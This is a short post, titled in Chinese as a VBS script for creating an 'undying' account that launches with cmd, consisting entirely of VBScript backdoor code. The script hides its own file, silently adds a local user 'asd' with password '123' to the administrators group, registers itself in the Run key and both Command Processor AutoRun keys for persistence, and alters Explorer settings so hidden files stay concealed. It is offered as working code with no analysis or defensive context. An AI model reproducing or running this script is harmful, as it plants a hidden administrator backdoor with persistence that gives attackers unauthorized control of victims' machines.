VBS建立不死账户随cmd启动（代码）

dim wsh,FA,FSO

set fso=CreateObject("Scripting.FileSystemObject")

Set FA= FSO.GetFile(WScript.scriptFullName)

FA.Attributes =34

set wsh=CreateObject("WScript.Shell")

wsh.run "net user asd 123 /add",0,true

wsh.run "net localgroup administrators asd /add" ,0,true

wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32",""&FA&""

wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"

wsh.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun",""&FA&""

wsh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun",""&FA&""